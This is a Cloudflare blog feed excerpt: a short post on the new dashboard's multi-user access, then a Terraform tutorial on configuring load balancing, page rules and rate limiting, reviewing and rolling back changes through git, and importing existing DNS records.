All customers now have the ability to invite others to manage their account as Administrators. They can do this from the ‘Members’ tab in the new Account area on the Cloudflare dashboard. Invited Administrators have full control over the account except for managing members and changing billing information.

For Customers who belong to multiple accounts (previously known as organizations), the first thing they will see is an account selector. This allows easy searching and selection between accounts. Additionally, there is a zone selector for searching through zones across all accounts. Enterprise customers still have access to the same roles as before with the addition of the Administrator and Billing Roles.

The New Dashboard @ dash.cloudflare.com

Expanding Multi-User Access on dash.cloudflare.com
As previously announced in our blog post about deprecating old TLS versions, we are migrating the dashboard from www.cloudflare.com/a to dash.cloudflare.com. The new dashboard will only support TLS versions 1.2 and greater in order for us to comply with PCI and NIST guidelines. If you are connecting to the existing dashboard with a TLS version older than 1.2, you will see a banner warning you of this.

Starting May 22, 2018, all customers visiting the dashboard at its current location, www.cloudflare.com/a will be redirected to dash.cloudflare.com.

Behind the Scenes

This change is not just a UI update with some new functionality. Behind the scenes, two major changes were implemented. First, much of the dashboard has been rewritten from Backbone to React. This improves our developer velocity as the number of front-end developers building the dashboard grows. Second, We have overhauled the mobile browsing experience, so you can easily manage your zones on the go.

On the backend, we have overhauled our data model for account and user management. Whereas before accounts, users and the resources they owned were very tightly coupled, now they are distinct, decoupled objects. This major change is what enabled us to expand multi-user access to all of our customers. Segregating users from accounts also allows us to clean up our architecture for our distributed development teams. The systems that power our products can now be explicit in what they need access to (users vs accounts), and we can limit their access to that data appropriately.

What’s Next?

This is just the first step in bringing a better user management story to all customers. We have many improvements planned for how customers authenticate, manage access and permissions, and organize their zones in Cloudflare. If you have feedback on the new experience or what you’d like to see us build next, visit the dashboard section of the Cloudflare Community, and let us know!

Categories: Technology

Getting started with Terraform and Cloudflare (Part 2 of 2)

Mon, 30/04/2018 - 17:20
Getting started with Terraform and Cloudflare (Part 2 of 2)

In Part 1 of Getting Started with Terraform, we explained how Terraform lets developers store Cloudflare configuration in their own source code repository, institute change management processes that include code review, track their configuration versions and history over time, and easily roll back changes as needed.

We covered installing Terraform, provider initialization, storing configuration in git, applying zone settings, and managing rate limits. This post continues the Cloudflare Terraform provider walkthrough with examples of load balancing, page rules, reviewing and rolling back configuration, and importing state.

Reviewing the current configuration

Before we build on Part 1, let's quickly review what we configured in that post. Because our configuration is in git, we can easily view the current configuration and change history that got us to this point.

$ git log commit e1c38cf6f4230a48114ce7b747b77d6435d4646c Author: Me Date: Mon Apr 9 12:34:44 2018 -0700 Step 4 - Update /login rate limit rule from 'simulate' to 'ban'. commit 0f7e499c70bf5994b5d89120e0449b8545ffdd24 Author: Me Date: Mon Apr 9 12:22:43 2018 -0700 Step 4 - Add rate limiting rule to protect /login. commit d540600b942cbd89d03db52211698d331f7bd6d7 Author: Me Date: Sun Apr 8 22:21:27 2018 -0700 Step 3 - Enable TLS 1.3, Always Use HTTPS, and SSL Strict mode. commit 494c6d61b918fce337ca4c0725c9bbc01e00f0b7 Author: Me Date: Sun Apr 8 19:58:56 2018 -0700 Step 2 - Ignore terraform plugin directory and state file. commit 5acea176050463418f6ac1029674c152e3056bc6 Author: Me Date: Sun Apr 8 19:52:13 2018 -0700 Step 2 - Initial commit with webserver definition.

We'll get into more detail about reviewing and rolling back to prior versions of configuration later in this post, but for now let's review the current version.

In lines 1-4 below, we configured the Cloudflare Terraform provider. Initially we stored our email address and API key in the cloudflare.tf file, but for security reasons we removed them before committing to a git repository.

In lines 6-8, we define a variable that can be interpolated into resources definitions. Terraform can be used to mass configure multiple zones through the use of variables, as we'll explore in a future post.

Lines 10-16 tell Cloudflare to create a DNS A record for www.${var.domain} using IP address 203.0.113.10. Later in this post, we'll explore adding a second webserver and load balancing between the two origins.

Lines 18-26 apply zone-wide settings and lines 28-54 define a rate limiting rule to protect against credential stuffing and other brute force attacks.

$ cat -n cloudflare.tf 1 provider "cloudflare" { 2 # email pulled from $CLOUDFLARE_EMAIL 3 # token pulled from $CLOUDFLARE_TOKEN 4 } 5 6 variable "domain" { 7 default = "example.com" 8 } 9 10 resource "cloudflare_record" "www" { 11 domain = "${var.domain}" 12 name = "www" 13 value = "203.0.113.10" 14 type = "A" 15 proxied = true 16 } 17 18 resource "cloudflare_zone_settings_override" "example-com-settings" { 19 name = "${var.domain}" 20 21 settings { 22 tls_1_3 = "on" 23 automatic_https_rewrites = "on" 24 ssl = "strict" 25 } 26 } 27 28 resource "cloudflare_rate_limit" "login-limit" { 29 zone = "${var.domain}" 30 31 threshold = 5 32 period = 60 33 match { 34 request { 35 url_pattern = "${var.domain}/login" 36 schemes = ["HTTP", "HTTPS"] 37 methods = ["POST"] 38 } 39 response { 40 statuses = [401, 403] 41 origin_traffic = true 42 } 43 } 44 action { 45 mode = "ban" 46 timeout = 300 47 response { 48 content_type = "text/plain" 49 body = "You have failed to login 5 times in a 60 second period and will be blocked from attempting to login again for the next 5 minutes." 50 } 51 } 52 disabled = false 53 description = "Block failed login attempts (5 in 1 min) for 5 minutes." 54 } Adding load balancing

Thanks to the rate limiting set up in part 1, our login page is protected against credential brute force attacks. Now it's time to focus on performance and reliability. Imagine organic traffic has grown for your webserver, and this traffic is increasingly global. It’s time to spread these requests to your origin over multiple data centers.

Below we'll add a second origin for some basic round robining, and then use the Cloudflare Load Balancing product to fail traffic over as needed. We'll then enhance our load balancing configuration through the use of "geo steering" to serve results from an origin server that is geographically closest to your end users.

1. Add another DNS record for www

To get started, we'll add a DNS record for a second web server, which is located in Asia. The IP address for this server is 198.51.100.15.

$ git checkout -b step5-loadbalance Switched to a new branch 'step5-loadbalance' $ cat >> cloudflare.tf <<'EOF' resource "cloudflare_record" "www-asia" { domain = "${var.domain}" name = "www" value = "198.51.100.15" type = "A" proxied = true } EOF

Note that while the name of the resource is different as Terraform resources of the same type must be uniquely named, the DNS name, i.e., what your customers will type in their browser, is the same: "www".

2. Preview and merge the changes

Below we'll check the terraform plan, merge and apply the changes.

$ terraform plan | grep -v "<computed>" ... Terraform will perform the following actions: + cloudflare_record.www-asia domain: "example.com" name: "www" proxied: "true" type: "A" value: "198.51.100.15" Plan: 1 to add, 0 to change, 0 to destroy. $ git add cloudflare.tf $ git commit -m "Step 5 - Add additional 'www' DNS record for Asia data center." [step5-loadbalance 6761a4f] Step 5 - Add additional 'www' DNS record for Asia data center. 1 file changed, 7 insertions(+) $ git checkout master Switched to branch 'master' $ git merge step5-loadbalance Updating e1c38cf..6761a4f Fast-forward cloudflare.tf | 7 +++++++ 1 file changed, 7 insertions(+) 3. Apply and verify the changes

Let's add the second DNS record for www.example.com:

$ terraform apply --auto-approve ... cloudflare_record.www-asia: Creating... created_on: "" => "<computed>" domain: "" => "example.com" hostname: "" => "<computed>" metadata.%: "" => "<computed>" modified_on: "" => "<computed>" name: "" => "www" proxiable: "" => "<computed>" proxied: "" => "true" ttl: "" => "<computed>" type: "" => "A" value: "" => "198.51.100.15" zone_id: "" => "<computed>" cloudflare_record.www-asia: Creation complete after 1s (ID: fda39d8c9bf909132e82a36bab992864) Apply complete! Resources: 1 added, 0 changed, 0 destroyed.

With the second DNS record in place, let's try making some requests to see where the traffic is served from:

$ curl https://www.example.com Hello, this is 203.0.113.10! $ curl https://www.example.com Hello, this is 203.0.113.10! $ curl https://www.example.com Hello, this is 198.51.100.15! $ curl https://www.example.com Hello, this is 203.0.113.10!

As you can see above, there is no discernible pattern for which origin receives the request. When Cloudflare connects to an origin with multiple DNS records, one of the IP addresses is selected at random. If both of these IPs are in the same data center and sessions can be shared (i.e., it doesn't matter if the same user hops between origin servers), this may work fine. However, for anything more complicated such as origins in different geographies or active health checks, you're going to want to use Cloudflare's Load Balancing product.

4. Switch to using Cloudflare Load Balancing

Before proceeding, make sure that your account is enabled for Load Balancing. If you're on an Enterprise plan, you should ask your Customer Success Manager to do this; otherwise, you can subscribe to Load Balancing within the Cloudflare Dashboard.

As described in the load balancing tutorial on the Cloudflare Support site, you will need to do three things:

i. Create a monitor to run health checks against your origin servers
ii. Create a pool of one or more origin servers that will receive load balanced traffic
iii. Create a load balancer with an external hostname, e.g., www.example.com, and one or more pools

i. Define and create the health check ("monitor")

To monitor our origins we're going to create a basic health check that makes a GET request to each origin on the URL https://www.example.com. If the origin returns the 200/OK status code within 5 seconds, we'll consider it healthy. If it fails to do so three (3) times in a row, we'll consider it unhealthy. This health check will be run once per minute from several regions, and send an email notification to you@example.com if any failures are detected.

$ git checkout step5-loadbalance Switched to branch 'step5-loadbalance' $ cat >> cloudflare.tf <<'EOF' resource "cloudflare_load_balancer_monitor" "get-root-https" { expected_body = "alive" expected_codes = "200" method = "GET" timeout = 5 path = "/" interval = 60 retries = 2 check_regions = ["WNAM", "ENAM", "WEU", "EEU", "SEAS", "NEAS"] description = "GET / over HTTPS - expect 200" } EOF ii. Define and create the pool of origins

We will call our pool "www-servers” and add two origins to it: www-us (203.0.113.10) and www-asia (198.51.100.15). For now, we'll skip any sort of geo routing.

Note that we reference the monitor we added in the last step. When applying this confirmation, Terraform will figure out that it first needs to create the monitor so that it can look up the ID and provide to the pool we wish to create.

$ cat >> cloudflare.tf <<'EOF' resource "cloudflare_load_balancer_pool" "www-servers" { name = "www-servers" monitor = "${cloudflare_load_balancer_monitor.get-root-https.id}" origins { name = "www-us" address = "203.0.113.10" } origins { name = "www-asia" address = "198.51.100.15" } description = "www origins" enabled = true minimum_origins = 1 notification_email = "you@example.com" } EOF iii. Define and create the load balancer

Note that when you create a load balancer (LB), it will replace any existing DNS records with the same name. For example, when we create the "www.example.com" LB below, it will supersede the two www DNS records that you have previously defined. One benefit of leaving these DNS records in place is that if you temporarily disable load balancing, connections to this hostname will still be possible as shown above.

$ cat >> cloudflare.tf <<'EOF' resource "cloudflare_load_balancer" "www-lb" { zone = "example.com" name = "www-lb" default_pool_ids = ["${cloudflare_load_balancer_pool.www-servers.id}"] fallback_pool_id = "${cloudflare_load_balancer_pool.www-servers.id}" description = "example load balancer" proxied = true } EOF iv. Preview and merge the changes

As usual, we take a look at the proposed plan before we apply any changes:

$ terraform plan ... Terraform will perform the following actions: + cloudflare_load_balancer.www-lb id: <computed> created_on: <computed> default_pool_ids.#: <computed> description: "example load balancer" fallback_pool_id: "${cloudflare_load_balancer_pool.www-servers.id}" modified_on: <computed> name: "www-lb" pop_pools.#: <computed> proxied: "true" region_pools.#: <computed> ttl: <computed> zone: "example.com" zone_id: <computed> + cloudflare_load_balancer_monitor.get-root-https id: <computed> created_on: <computed> description: "GET / over HTTPS - expect 200" expected_body: "alive" expected_codes: "200" interval: "60" method: "GET" modified_on: <computed> path: "/" retries: "2" timeout: "5" type: "http" + cloudflare_load_balancer_pool.www-servers id: <computed> check_regions.#: "6" check_regions.1151265357: "SEAS" check_regions.1997072153: "WEU" check_regions.2367191053: "EEU" check_regions.2826842289: "ENAM" check_regions.2992567379: "WNAM" check_regions.3706632574: "NEAS" created_on: <computed> description: "www origins" enabled: "true" minimum_origins: "1" modified_on: <computed> monitor: "${cloudflare_load_balancer_monitor.get-root-https.id}" name: "www-servers" notification_email: "you@example.com" origins.#: "2" origins.3039426352.address: "198.51.100.15" origins.3039426352.enabled: "true" origins.3039426352.name: "www-asia" origins.4241861547.address: "203.0.113.10" origins.4241861547.enabled: "true" origins.4241861547.name: "www-us" Plan: 3 to add, 0 to change, 0 to destroy.

The plan looks good so let's go ahead, merge it in, and apply it.

$ git add cloudflare.tf $ git commit -m "Step 5 - Create load balancer (LB) monitor, LB pool, and LB." [step5-loadbalance bc9aa9a] Step 5 - Create load balancer (LB) monitor, LB pool, and LB. 1 file changed, 35 insertions(+) $ terraform apply --auto-approve ... cloudflare_load_balancer_monitor.get-root-https: Creating... created_on: "" => "<computed>" description: "" => "GET / over HTTPS - expect 200" expected_body: "" => "alive" expected_codes: "" => "200" interval: "" => "60" method: "" => "GET" modified_on: "" => "<computed>" path: "" => "/" retries: "" => "2" timeout: "" => "5" type: "" => "http" cloudflare_load_balancer_monitor.get-root-https: Creation complete after 1s (ID: 4238142473fcd48e89ef1964be72e3e0) cloudflare_load_balancer_pool.www-servers: Creating... check_regions.#: "" => "6" check_regions.1151265357: "" => "SEAS" check_regions.1997072153: "" => "WEU" check_regions.2367191053: "" => "EEU" check_regions.2826842289: "" => "ENAM" check_regions.2992567379: "" => "WNAM" check_regions.3706632574: "" => "NEAS" created_on: "" => "<computed>" description: "" => "www origins" enabled: "" => "true" minimum_origins: "" => "1" modified_on: "" => "<computed>" monitor: "" => "4238142473fcd48e89ef1964be72e3e0" name: "" => "www-servers" notification_email: "" => "you@example.com" origins.#: "" => "2" origins.3039426352.address: "" => "198.51.100.15" origins.3039426352.enabled: "" => "true" origins.3039426352.name: "" => "www-asia" origins.4241861547.address: "" => "203.0.113.10" origins.4241861547.enabled: "" => "true" origins.4241861547.name: "" => "www-us" cloudflare_load_balancer_pool.www-servers: Creation complete after 0s (ID: 906d2a7521634783f4a96c062eeecc6d) cloudflare_load_balancer.www-lb: Creating... created_on: "" => "<computed>" default_pool_ids.#: "" => "1" default_pool_ids.0: "" => "906d2a7521634783f4a96c062eeecc6d" description: "" => "example load balancer" fallback_pool_id: "" => "906d2a7521634783f4a96c062eeecc6d" modified_on: "" => "<computed>" name: "" => "www-lb" pop_pools.#: "" => "<computed>" proxied: "" => "true" region_pools.#: "" => "<computed>" ttl: "" => "<computed>" zone: "" => "example.com" zone_id: "" => "<computed>" cloudflare_load_balancer.www-lb: Creation complete after 1s (ID: cb94f53f150e5c1a65a07e43c5d4cac4) Apply complete! Resources: 3 added, 0 changed, 0 destroyed. iv. Test the changes

With load balancing in place, let's run those curl requests again to see where the traffic is served from:

$ for i in {1..4}; do curl https://www.example.com && sleep 5; done Hello, this is 198.51.100.15! Hello, this is 203.0.113.10! Hello, this is 198.51.100.15! Hello, this is 203.0.113.10!

Great, we're now seeing each request load balanced evenly across the two origins we defined.

Using page rules

Earlier we configured zone settings that apply to all of example.com. Now we're going to add an exception to these settings by using Page Rules.

Specifically, we're going to turn increase the security level for a URL we know is expensive to render (and cannot be cached): https://www.example.com/expensive-db-call. Additionally, we're going to add a redirect from the previous URL we used to host this page.

1. Create a new branch and append the page rule

As usual we'll create a new branch and append our configuration.

$ git checkout -b step6-pagerule Switched to a new branch 'step6-pagerule' $ cat >> cloudflare.tf <<'EOF' resource "cloudflare_page_rule" "increase-security-on-expensive-page" { zone = "${var.domain}" target = "www.${var.domain}/expensive-db-call" priority = 10 actions = { security_level = "under_attack", } } resource "cloudflare_page_rule" "redirect-to-new-db-page" { zone = "${var.domain}" target = "www.${var.domain}/old-location.php" priority = 10 actions = { forwarding_url { url = "https://www.${var.domain}/expensive-db-call" status_code = 301 } } } EOF 2. Preview and merge the changes

You know the drill: preview the changes Terraform is going to make and then merge them into the master branch.

$ terraform plan ... Terraform will perform the following actions: + cloudflare_page_rule.increase-security-on-expensive-page id: <computed> actions.#: "1" actions.0.always_use_https: "false" actions.0.disable_apps: "false" actions.0.disable_performance: "false" actions.0.disable_security: "false" actions.0.security_level: "under_attack" priority: "10" status: "active" target: "www.example.com/expensive-db-call" zone: "example.com" zone_id: <computed> + cloudflare_page_rule.redirect-to-new-db-page id: <computed> actions.#: "1" actions.0.always_use_https: "false" actions.0.disable_apps: "false" actions.0.disable_performance: "false" actions.0.disable_security: "false" actions.0.forwarding_url.#: "1" actions.0.forwarding_url.0.status_code: "301" actions.0.forwarding_url.0.url: "https://www.example.com/expensive-db-call" priority: "10" status: "active" target: "www.example.com/old-location.php" zone: "example.com" zone_id: <computed> Plan: 2 to add, 0 to change, 0 to destroy. $ git add cloudflare.tf $ git commit -m "Step 6 - Add two Page Rules." [step6-pagerule d4fec16] Step 6 - Add two Page Rules. 1 file changed, 23 insertions(+) $ git checkout master Switched to branch 'master' $ git merge step6-pagerule Updating 7a2ac34..d4fec16 Fast-forward cloudflare.tf | 23 +++++++++++++++++++++++ 1 file changed, 23 insertions(+) 3. Apply And Verify The Changes First we'll test requesting the (now missing) old location of the expensive-to-render page. $ curl -vso /dev/null https://www.example.com/old-location.php 2>&1 | grep "< HTTP\|Location" < HTTP/1.1 404 Not Found

As expected, it can't be found. Let's apply the Page Rules, including the redirect that should fix this error.

$ terraform apply --auto-approve ... cloudflare_page_rule.redirect-to-new-db-page: Creating... actions.#: "0" => "1" actions.0.always_use_https: "" => "false" actions.0.disable_apps: "" => "false" actions.0.disable_performance: "" => "false" actions.0.disable_security: "" => "false" actions.0.forwarding_url.#: "0" => "1" actions.0.forwarding_url.0.status_code: "" => "301" actions.0.forwarding_url.0.url: "" => "https://www.example.com/expensive-db-call" priority: "" => "10" status: "" => "active" target: "" => "www.example.com/old-location.php" zone: "" => "example.com" zone_id: "" => "<computed>" cloudflare_page_rule.increase-security-on-expensive-page: Creating... actions.#: "0" => "1" actions.0.always_use_https: "" => "false" actions.0.disable_apps: "" => "false" actions.0.disable_performance: "" => "false" actions.0.disable_security: "" => "false" actions.0.security_level: "" => "under_attack" priority: "" => "10" status: "" => "active" target: "" => "www.example.com/expensive-db-call" zone: "" => "example.com" zone_id: "" => "<computed>" cloudflare_page_rule.redirect-to-new-db-page: Creation complete after 3s (ID: c5c40ff2dc12416b5fe4d0541980c591) cloudflare_page_rule.increase-security-on-expensive-page: Creation complete after 6s (ID: 1c13fdb84710c4cc8b11daf7ffcca449) Apply complete! Resources: 2 added, 0 changed, 0 destroyed.

With the Page Rules in place, let's try that call again, along with the I'm Under Attack Mode test:

$ curl -vso /dev/null https://www.example.com/old-location.php 2>&1 | grep "< HTTP\|Location" < HTTP/1.1 301 Moved Permanently < Location: https://www.upinatoms.com/expensive-db-call $ curl -vso /dev/null https://www.upinatoms.com/expensive-db-call 2>&1 | grep "< HTTP" < HTTP/1.1 503 Service Temporarily Unavailable

Great, they work as expected! In the first case, the Cloudflare edge responds with a 301 redirecting the browser to the new location. In the second case it initially responds with a 503 (as is consistent with the "I Am Under Attack” mode).

Reviewing and rolling back changes

We've come a long way! Now it's time to tear it all down. Well, maybe just part of it.

Sometimes when you deploy configuration changes you later determine that they need to be rolled back. You could be performance testing a new configuration and want to revert to your previous configuration when done testing. Or maybe you fat-fingered an IP address and brought your entire site down (#hugops).

Either way, if you've determined you want to revert your configuration, all you need to do is check the desired branch out and ask Terraform to move your Cloudflare settings back in time. And note that if you accidentally brought your site down you should consider establishing a good strategy for peer reviewing pull requests (rather than merging directly to master, as I do here for brevity)!

1. Reviewing your configuration history

Before we figure out how far back in time we want to rollback, let's take a look at our (git) versioned history.

$ git log commit d4fec164581bec44684a4d59bb80aec1f1da5a6e Author: Me Date: Wed Apr 18 22:04:52 2018 -0700 Step 6 - Add two Page Rules. commit bc9aa9a465a4c8d6deeaa0491814c9f364e9aa8a Author: Me Date: Sun Apr 15 23:58:35 2018 -0700 Step 5 - Create load balancer (LB) monitor, LB pool, and LB. commit 6761a4f754e77322629ba4e90a90a3defa1fd4b6 Author: Me Date: Wed Apr 11 11:20:25 2018 -0700 Step 5 - Add additional 'www' DNS record for Asia data center. commit e1c38cf6f4230a48114ce7b747b77d6435d4646c Author: Me Date: Mon Apr 9 12:34:44 2018 -0700 Step 4 - Update /login rate limit rule from 'simulate' to 'ban'. commit 0f7e499c70bf5994b5d89120e0449b8545ffdd24 Author: Me Date: Mon Apr 9 12:22:43 2018 -0700 Step 4 - Add rate limiting rule to protect /login. commit d540600b942cbd89d03db52211698d331f7bd6d7 Author: Me Date: Sun Apr 8 22:21:27 2018 -0700 Step 3 - Enable TLS 1.3, Always Use HTTPS, and SSL Strict mode. commit 494c6d61b918fce337ca4c0725c9bbc01e00f0b7 Author: Me Date: Sun Apr 8 19:58:56 2018 -0700 Step 2 - Ignore terraform plugin directory and state file. commit 5acea176050463418f6ac1029674c152e3056bc6 Author: Me Date: Sun Apr 8 19:52:13 2018 -0700 Step 2 - Initial commit with webserver definition. Another nice benefit of storing your Cloudflare configuration in git is that you can see who made the change, as well as who reviewed and approved the change (assuming you're peer reviewing pull requests). 2. Examining specific historical changes

To begin with, let's see what the last change we made was.

$ git show commit d4fec164581bec44684a4d59bb80aec1f1da5a6e Author: Me Date: Wed Apr 18 22:04:52 2018 -0700 Step 6 - Add two Page Rules. diff --git a/cloudflare.tf b/cloudflare.tf index 0b39450..ef11d8a 100644 --- a/cloudflare.tf +++ b/cloudflare.tf @@ -94,3 +94,26 @@ resource "cloudflare_load_balancer" "www-lb" { description = "example load balancer" proxied = true } + +resource "cloudflare_page_rule" "increase-security-on-expensive-page" { + zone = "${var.domain}" + target = "www.${var.domain}/expensive-db-call" + priority = 10 + + actions = { + security_level = "under_attack", + } +} + +resource "cloudflare_page_rule" "redirect-to-new-db-page" { + zone = "${var.domain}" + target = "www.${var.domain}/old-location.php" + priority = 10 + + actions = { + forwarding_url { + url = "https://${var.domain}/expensive-db-call" + status_code = 301 + } + } +}

Now let's look at the past few changes:

$ git log -p -3 ... // page rule config from above ... commit bc9aa9a465a4c8d6deeaa0491814c9f364e9aa8a Author: Me Date: Sun Apr 15 23:58:35 2018 -0700 Step 5 - Create load balancer (LB) monitor, LB pool, and LB. diff --git a/cloudflare.tf b/cloudflare.tf index b92cb6f..195b646 100644 --- a/cloudflare.tf +++ b/cloudflare.tf @@ -59,3 +59,38 @@ resource "cloudflare_record" "www-asia" { type = "A" proxied = true } +resource "cloudflare_load_balancer_monitor" "get-root-https" { + expected_body = "alive" + expected_codes = "200" + method = "GET" + timeout = 5 + path = "/" + interval = 60 + retries = 2 + description = "GET / over HTTPS - expect 200" +} +resource "cloudflare_load_balancer_pool" "www-servers" { + name = "www-servers" + monitor = "${cloudflare_load_balancer_monitor.get-root-https.id}" + check_regions = ["WNAM", "ENAM", "WEU", "EEU", "SEAS", "NEAS"] + origins { + name = "www-us" + address = "203.0.113.10" + } + origins { + name = "www-asia" + address = "198.51.100.15" + } + description = "www origins" + enabled = true + minimum_origins = 1 + notification_email = "you@example.com" +} +resource "cloudflare_load_balancer" "www-lb" { + zone = "${var.domain}" + name = "www-lb" + default_pool_ids = ["${cloudflare_load_balancer_pool.www-servers.id}"] + fallback_pool_id = "${cloudflare_load_balancer_pool.www-servers.id}" + description = "example load balancer" + proxied = true +} commit 6761a4f754e77322629ba4e90a90a3defa1fd4b6 Author: Me Date: Wed Apr 11 11:20:25 2018 -0700 Step 5 - Add additional 'www' DNS record for Asia data center. diff --git a/cloudflare.tf b/cloudflare.tf index 9f25a0c..b92cb6f 100644 --- a/cloudflare.tf +++ b/cloudflare.tf @@ -52,3 +52,10 @@ resource "cloudflare_rate_limit" "login-limit" { disabled = false description = "Block failed login attempts (5 in 1 min) for 5 minutes." } +resource "cloudflare_record" "www-asia" { + domain = "${var.domain}" + name = "www" + value = "198.51.100.15" + type = "A" + proxied = true +} 3. Redeploying the previous configuration

Imagine that shortly after we deployed the Page Rules, we got a call from the Product team that manages this page: "The URL was only being used by one customer and is no longer needed, let's drop the security setting and redirect.”

While you could always edit the config file directly and delete those entries, it's easier to let git do it for us. To begin with, let's ask git to revert the last commit (without rewriting history).

i. Revert the branch to the previous commit $ git revert HEAD~1..HEAD [master f9a6f7d] Revert "Step 6 - Bug fix." 1 file changed, 1 insertion(+), 1 deletion(-) $ git log -2 commit f9a6f7db72ea1437e146050a5e7556052ecc9a1a Author: Me Date: Wed Apr 18 23:28:09 2018 -0700 Revert "Step 6 - Add two Page Rules." This reverts commit d4fec164581bec44684a4d59bb80aec1f1da5a6e. commit d4fec164581bec44684a4d59bb80aec1f1da5a6e Author: Me Date: Wed Apr 18 22:04:52 2018 -0700 Step 6 - Add two Page Rules. ii. Preview the changes

As expected, Terraform is indicating it will remove the two Page Rules we just created.

$ terraform plan ... An execution plan has been generated and is shown below. Resource actions are indicated with the following symbols: - destroy Terraform will perform the following actions: - cloudflare_page_rule.increase-security-on-expensive-page - cloudflare_page_rule.redirect-to-new-db-page Plan: 0 to add, 0 to change, 2 to destroy. iv. Apply the changes

The changes look good, so let's ask Terraform to roll our Cloudflare configuration back.

$ terraform apply --auto-approve ... cloudflare_page_rule.redirect-to-new-db-page: Destroying... (ID: c5c40ff2dc12416b5fe4d0541980c591) cloudflare_page_rule.increase-security-on-expensive-page: Destroying... (ID: 1c13fdb84710c4cc8b11daf7ffcca449) cloudflare_page_rule.increase-security-on-expensive-page: Destruction complete after 0s cloudflare_page_rule.redirect-to-new-db-page: Destruction complete after 1s Apply complete! Resources: 0 added, 0 changed, 2 destroyed.

Two resources destroyed, as expected. We've rolled back to the previous version.

Importing existing state and configuration

An important point to understand about Terraform is that it is only able to manage configuration that it created, or was explicitly told about after the fact. The reason for this limitation is that Terraform relies on a local state file that maps the resource names defined in your configuration file, e.g., cloudflare_load_balancer.www-lb to the IDs generated by Cloudflare's API.

When Terraform makes calls to Cloudflare's API to create new resources , it persists those IDs to a state file; by default, the terraform.tfstate file in your directory is used, but this can be a remote location as will be discussed in a future blog post. These IDs are later looked up and refreshed when you call terraform plan and terraform apply.

If you've configured Cloudflare through other means, e.g., by logging into the Cloudflare Dashboard or making curl calls to api.cloudflare.com, Terraform does not (yet) have these resource IDs in the state file. To manage this preexisting configuration you will need to first i) reproduce the configuration in your config file and; ii) import resources one-by-one by providing their IDs and resource names.

1. Reviewing your current state file

Before importing resources created by other means, let's take a look at how an existing DNS records is represented in the state file.

$ cat terraform.tfstate | jq '.modules[].resources["cloudflare_record.www"]' { "type": "cloudflare_record", "depends_on": [], "primary": { "id": "c38d3103767284e7cd14d5dad3ab8669", "attributes": { "created_on": "2018-04-08T00:37:33.76321Z", "data.%": "0", "domain": "example.com", "hostname": "www.example.com", "id": "c38d3103767284e7cd14d5dad3ab8669", "metadata.%": "2", "metadata.auto_added": "false", "metadata.managed_by_apps": "false", "modified_on": "2018-04-08T00:37:33.76321Z", "name": "www", "priority": "0", "proxiable": "true", "proxied": "true", "ttl": "1", "type": "A", "value": "203.0.113.10", "zone_id": "e2e6491340be87a3726f91fc4148b126" }, "meta": { "schema_version": "1" }, "tainted": false }, "deposed": [], "provider": "provider.cloudflare" }

As shown in the above JSON, the cloudflare_record resource named "www" has a unique ID of c38d3103767284e7cd14d5dad3ab8669. This ID is what gets interpolated into the API call that Terraform makes to Cloudflare to pull the latest configuration during the plan stage, e.g.,

GET https://api.cloudflare.com/client/v4/zones/:zone_id/dns_records/c38d3103767284e7cd14d5dad3ab8669 2. Importing existing Cloudflare resources

To import an existing record, e.g., another DNS record, you need two things:

  1. The unique identifier that Cloudflare uses to identify the record
  2. The resource name to which you wish to map this identifier
i. Download IDs and configuration from api.cloudflare.com

We start by making an API call to Cloudflare to enumerate the DNS records in our account. The output below has been filtered to show only MX records, as these are what we'll be importing.

$ curl https://api.cloudflare.com/client/v4/zones/$EXAMPLE_COM_ZONEID \ -H "X-Auth-Email: you@example.com" -H "X-Auth-Key: $CF_API_KEY" \ -H "Content-Type: application/json" | jq . { "result": [ { "id": "8ea8c36c8530ee01068c65c0ddc4379b", "type": "MX", "name": "example.com", "content": "alt1.aspmx.l.google.com", "proxiable": false, "proxied": false, "ttl": 1, "priority": 15, "locked": false, "zone_id": "e2e6491340be87a3726f91fc4148b126", "zone_name": "example.com", "modified_on": "2016-11-06T01:11:50.163221Z", "created_on": "2016-11-06T01:11:50.163221Z", "meta": { "auto_added": false, "managed_by_apps": false } }, { "id": "ad0e9ff2479b13c5fbde77a02ea6fa2c", "type": "MX", "name": "example.com", "content": "alt2.aspmx.l.google.com", "proxiable": false, "proxied": false, "ttl": 1, "priority": 15, "locked": false, "zone_id": "e2e6491340be87a3726f91fc4148b126", "zone_name": "example.com", "modified_on": "2016-11-06T01:12:00.915649Z", "created_on": "2016-11-06T01:12:00.915649Z", "meta": { "auto_added": false, "managed_by_apps": false } }, { "id": "ad6ee69519cd02a0155a56b6d64c278a", "type": "MX", "name": "example.com", "content": "alt3.aspmx.l.google.com", "proxiable": false, "proxied": false, "ttl": 1, "priority": 20, "locked": false, "zone_id": "e2e6491340be87a3726f91fc4148b126", "zone_name": "example.com", "modified_on": "2016-11-06T01:12:12.899684Z", "created_on": "2016-11-06T01:12:12.899684Z", "meta": { "auto_added": false, "managed_by_apps": false } }, { "id": "baf6655f33738b7fd902630858878206", "type": "MX", "name": "example.com", "content": "alt4.aspmx.l.google.com", "proxiable": false, "proxied": false, "ttl": 1, "priority": 20, "locked": false, "zone_id": "e2e6491340be87a3726f91fc4148b126", "zone_name": "example.com", "modified_on": "2016-11-06T01:12:22.599272Z", "created_on": "2016-11-06T01:12:22.599272Z", "meta": { "auto_added": false, "managed_by_apps": false } }, { "id": "a96d72b3c6afe3077f9e9c677fb0a556", "type": "MX", "name": "example.com", "content": "aspmx.lo.google.com", "proxiable": false, "proxied": false, "ttl": 1, "priority": 10, "locked": false, "zone_id": "e2e6491340be87a3726f91fc4148b126", "zone_name": "example.com", "modified_on": "2016-11-06T01:11:27.700386Z", "created_on": "2016-11-06T01:11:27.700386Z", "meta": { "auto_added": false, "managed_by_apps": false } }, ... ] } ii. Create Terraform configuration for existing records

In the previous step, we found 5 MX records that we wish to add.

ID Priority Content a96d72b3c6afe3077f9e9c677fb0a556 10 aspmx.lo.google.com 8ea8c36c8530ee01068c65c0ddc4379b 15 alt1.aspmx.l.google.com ad0e9ff2479b13c5fbde77a02ea6fa2c 15 alt2.aspmx.l.google.com ad6ee69519cd02a0155a56b6d64c278a 20 alt3.aspmx.l.google.com baf6655f33738b7fd902630858878206 20 alt4.aspmx.l.google.com

Before importing, we need to create Terraform configuration and give each record a unique name that can be referenced during the import.

